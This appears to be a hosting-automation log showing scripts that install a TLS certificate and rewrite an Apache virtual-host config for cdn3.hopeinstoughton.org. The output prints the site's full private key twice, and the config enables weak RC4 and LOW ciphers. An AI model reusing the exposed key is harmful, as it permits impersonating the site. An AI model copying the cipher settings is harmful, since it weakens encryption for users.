aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAwLmNybDCCAQYGCisGAQQB
1nkCBAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABm4TzfqUAAAQDAEgwRgIhAN963DUoWLlCIWLfxz8dtg+L9wlBBXdMl/nYyvjD
mRAXAiEA6F///rJtTn5gIQ6IZVgM44LV47UzUCPkc4urzi1Ets0AdwDRbqmlaAd+
ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuE83+CAAAEAwBIMEYCIQCYtRgJ
AzbuggCVOTGZtOyqu+8fjvVW8ZJjjRqIDBoVNwIhANS52JOpp2gbe/2NrKUfYSA8
85kwCWjOCaqXcrH5uRgbMA0GCSqGSIb3DQEBCwUAA4IBAQCChjjDbzWAjhfeRb7C
ks5czbkzBTajsTHhA8jFUz9d1JPWgnjxkeA34sHQoLzySpmk/EGt7drJUIrGuoT8
plWk2L4GKgoYD4pWnnD1J21hSIuwSO35bJUF243HOlr0ftTeMVFQu3d8HCjvpbfg
rF04fFeVOJYroSGUECUUrSu9kqwTyNxNJRIHETTVFRBCE4jq5hvA5eV2Zsnt2vnF
dSuyg4XcS7JaBaWdgve7jFvHfKMMB0Fkfn4xXo4UoWrPmbEHI6+99wySpAnzxRo3
SULnadl235/bOCKU+RJh3mga41OfpVgWIbLA3y6t/In8FWjhoT/XyUEEoZ/aIvLV
qJJ7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5/LSx+/4+d31u
Ah2xj8Co0jfhji1celcy3XLxsOsBhP8IJjICf6Du/F14BSxNEWv91V6kcchAf0bM
cHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZLrb/8u6WvfG6mg7fA7h1sW4KNXap3
EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xoy9e/bYjNhOc/vUdefBnj2O8g5HK3
uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hqMkS/TxfzKXTJCX49RgPabldHdJgk
uTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn3ixj/MX2t33HIK9Eb0vCCPqvswb8
9PkKaSrzAgMBAAECggEAB3EB0SiUzMQJe+LQHwAc7xmbdxtcsO62LsinJjN0G6yf
avXi71r9l0JNV8Ar5xjThNBKMp3Y1iJ23zbVcJZQWSLxRSduXZeScWVWTElj50+L
H0rM5iSZYg/R+m+p77X6dAOISthtz0vYRl5XYr/JKY/FO9W92RzKB/WrN7bObKeO
p/LK79xhW1yZ/PE7E01AKNF3qCulZArW1FSN2KSgvcp5b4PZWNE9GfmLOq2Y4oAG
xHi0zTLwV09t8Ocnq7NmR6b1akgilSCjxJbIsLFEAriM6MiGy9j5QM54Mi7Ioy8c
wH0rXLa8Ccz760LSKtwA7LFiUUYF0b6MBka+6sVp/QKBgQDfzB+bIKrUNVdRGjZ5
0v+KvUraVh91SV6PRfeXrvsDcpmX2atBtTiuemQaSfowb+id/lsLdztLVkbz/sdN
qhm8jYeoRKDZwoZqtGNBsJx9ItAPsjbyt7Ulp0milgHw2GZv3WC6fzeW9GAwv18v
pgjulctQitrQG2sZPFZP6MLC/QKBgQDUv8q6TuAFNUBHI0gtbPg8nWODcPWcCuLT
43aNL8C58JgUeiJ3bkZCMSItgVLKWAbZJJaIAGoClFH47sr7rHWf1i+qhwXzEltr
ImgFKLJTcpc4wcDJxjgHKZ7vpqfhLkabgm++cIM7zxc/r3RIbtJLWGM4N+lxTUCl
NwSAZvNgrwKBgQDDcM61OZ0V/5NGh37FewehkNfavtVwJufGdVLZC324sA8ENppB
otJiRQ5AixRL0p8xwtydsb19eFY0ZO6Gm6MoL+0lfPF/2kpqyyfXSTYQbiOHYZps
8xPmUyaSLzB4tXMYBBuiItFYKggK6kVlJjmsqfJJX0nh7d/kxPWXiWz0vQKBgBI4
nvdX/A3WIrw1BGCHnbcrT7OZQB/uOsElESlEdsA2IABY+Yy7EB9pL+Ev21RjN6rv
XEknp+yyoVattQrbGXPoF0sGp3bLErNZTglrE+LbxKHizk05weCzKt6hqm051mhJ
QqLP5h2APiCBOXdernovhsfw2fiPQkMkNCl/J8cXAoGAa03guXFKP9HgRAUUEhP8
A4abtoazS96Z3ccT4lhyH6J+9MHI6+fTyL1yzVL++yOy4Fdau0hCoj2NrsOoPPCB
vTlX2Vb8sv7WQq8gKnq8Zu8fJ3DHxgdGIjNV6Up9upe31rEaIHNzQlHR4MYjxN6S
Zs8yfR5s+lG+0PBITRbL/fI=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-03 17:41:53:
chmod 755 /tmp/pkp676939; /tmp/pkp676939; rm /tmp/pkp676939
2026-01-03 17:41:53:
dir=/etc/ssl/certs
2026-01-03 17:41:54:
PUT: /tmp/pkp707917
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-03 17:41:54:
chmod 755 /tmp/pkp707917; /tmp/pkp707917; rm /tmp/pkp707917
2026-01-03 17:41:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 48
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2026-01-03 17:41:54:
PUT: /tmp/pkp265477
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf= 1'
fi
2026-01-03 17:41:55:
chmod 755 /tmp/pkp265477; /tmp/pkp265477; rm /tmp/pkp265477
2026-01-03 17:41:55:
2026-01-03 17:41:55:
PUT: /tmp/pkp871417
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-03 17:41:55:
chmod 755 /tmp/pkp871417; /tmp/pkp871417; rm /tmp/pkp871417
2026-01-03 17:41:56:
.
2026-01-03 17:41:56: Establishing a connection
2026-01-03 17:41:57:
PUT: /tmp/pkp608220
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 17:41:58:
chmod 755 /tmp/pkp608220; /tmp/pkp608220; rm /tmp/pkp608220
2026-01-03 17:41:58:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 17:41:58:
PUT: /tmp/pkp410915
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 17:41:58:
chmod 755 /tmp/pkp410915; /tmp/pkp410915; rm /tmp/pkp410915
2026-01-03 17:41:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 1398
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2026-01-03 17:41:59:
PUT: /tmp/pkp565079
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 17:41:59:
chmod 755 /tmp/pkp565079; /tmp/pkp565079; rm /tmp/pkp565079
2026-01-03 17:41:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0 5377
3b:c8:63:ac:39:11:d9:7c:8a:7e:ad:4e:8a:ae:bc:a0
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBi0g2VD5GyDr9y9SVhC04VnjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY0MzE4WhcNMjYwNDAzMTY0MzE3WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC5/LSx+/4+d31uAh2xj8Co0jfhji1celcy3XLxsOsBhP8IJjIC
f6Du/F14BSxNEWv91V6kcchAf0bMcHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZL
rb/8u6WvfG6mg7fA7h1sW4KNXap3EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xo
y9e/bYjNhOc/vUdefBnj2O8g5HK3uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hq
MkS/TxfzKXTJCX49RgPabldHdJgkuTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn
3ixj/MX2t33HIK9Eb0vCCPqvswb89PkKaSrzAgMBAAGjggIrMIICJzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFJ3ThHgMWEqvWKDVoOkkUMo4M+hOMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAwLmNybDCCAQYGCisGAQQB
1nkCBAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABm4TzfqUAAAQDAEgwRgIhAN963DUoWLlCIWLfxz8dtg+L9wlBBXdMl/nYyvjD
mRAXAiEA6F///rJtTn5gIQ6IZVgM44LV47UzUCPkc4urzi1Ets0AdwDRbqmlaAd+
ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuE83+CAAAEAwBIMEYCIQCYtRgJ
AzbuggCVOTGZtOyqu+8fjvVW8ZJjjRqIDBoVNwIhANS52JOpp2gbe/2NrKUfYSA8
85kwCWjOCaqXcrH5uRgbMA0GCSqGSIb3DQEBCwUAA4IBAQCChjjDbzWAjhfeRb7C
ks5czbkzBTajsTHhA8jFUz9d1JPWgnjxkeA34sHQoLzySpmk/EGt7drJUIrGuoT8
plWk2L4GKgoYD4pWnnD1J21hSIuwSO35bJUF243HOlr0ftTeMVFQu3d8HCjvpbfg
rF04fFeVOJYroSGUECUUrSu9kqwTyNxNJRIHETTVFRBCE4jq5hvA5eV2Zsnt2vnF
dSuyg4XcS7JaBaWdgve7jFvHfKMMB0Fkfn4xXo4UoWrPmbEHI6+99wySpAnzxRo3
SULnadl235/bOCKU+RJh3mga41OfpVgWIbLA3y6t/In8FWjhoT/XyUEEoZ/aIvLV
qJJ7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5/LSx+/4+d31u
Ah2xj8Co0jfhji1celcy3XLxsOsBhP8IJjICf6Du/F14BSxNEWv91V6kcchAf0bM
cHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZLrb/8u6WvfG6mg7fA7h1sW4KNXap3
EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xoy9e/bYjNhOc/vUdefBnj2O8g5HK3
uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hqMkS/TxfzKXTJCX49RgPabldHdJgk
uTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn3ixj/MX2t33HIK9Eb0vCCPqvswb8
9PkKaSrzAgMBAAECggEAB3EB0SiUzMQJe+LQHwAc7xmbdxtcsO62LsinJjN0G6yf
avXi71r9l0JNV8Ar5xjThNBKMp3Y1iJ23zbVcJZQWSLxRSduXZeScWVWTElj50+L
H0rM5iSZYg/R+m+p77X6dAOISthtz0vYRl5XYr/JKY/FO9W92RzKB/WrN7bObKeO
p/LK79xhW1yZ/PE7E01AKNF3qCulZArW1FSN2KSgvcp5b4PZWNE9GfmLOq2Y4oAG
xHi0zTLwV09t8Ocnq7NmR6b1akgilSCjxJbIsLFEAriM6MiGy9j5QM54Mi7Ioy8c
wH0rXLa8Ccz760LSKtwA7LFiUUYF0b6MBka+6sVp/QKBgQDfzB+bIKrUNVdRGjZ5
0v+KvUraVh91SV6PRfeXrvsDcpmX2atBtTiuemQaSfowb+id/lsLdztLVkbz/sdN
qhm8jYeoRKDZwoZqtGNBsJx9ItAPsjbyt7Ulp0milgHw2GZv3WC6fzeW9GAwv18v
pgjulctQitrQG2sZPFZP6MLC/QKBgQDUv8q6TuAFNUBHI0gtbPg8nWODcPWcCuLT
43aNL8C58JgUeiJ3bkZCMSItgVLKWAbZJJaIAGoClFH47sr7rHWf1i+qhwXzEltr
ImgFKLJTcpc4wcDJxjgHKZ7vpqfhLkabgm++cIM7zxc/r3RIbtJLWGM4N+lxTUCl
NwSAZvNgrwKBgQDDcM61OZ0V/5NGh37FewehkNfavtVwJufGdVLZC324sA8ENppB
otJiRQ5AixRL0p8xwtydsb19eFY0ZO6Gm6MoL+0lfPF/2kpqyyfXSTYQbiOHYZps
8xPmUyaSLzB4tXMYBBuiItFYKggK6kVlJjmsqfJJX0nh7d/kxPWXiWz0vQKBgBI4
nvdX/A3WIrw1BGCHnbcrT7OZQB/uOsElESlEdsA2IABY+Yy7EB9pL+Ev21RjN6rv
XEknp+yyoVattQrbGXPoF0sGp3bLErNZTglrE+LbxKHizk05weCzKt6hqm051mhJ
QqLP5h2APiCBOXdernovhsfw2fiPQkMkNCl/J8cXAoGAa03guXFKP9HgRAUUEhP8
A4abtoazS96Z3ccT4lhyH6J+9MHI6+fTyL1yzVL++yOy4Fdau0hCoj2NrsOoPPCB
vTlX2Vb8sv7WQq8gKnq8Zu8fJ3DHxgdGIjNV6Up9upe31rEaIHNzQlHR4MYjxN6S
Zs8yfR5s+lG+0PBITRbL/fI=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
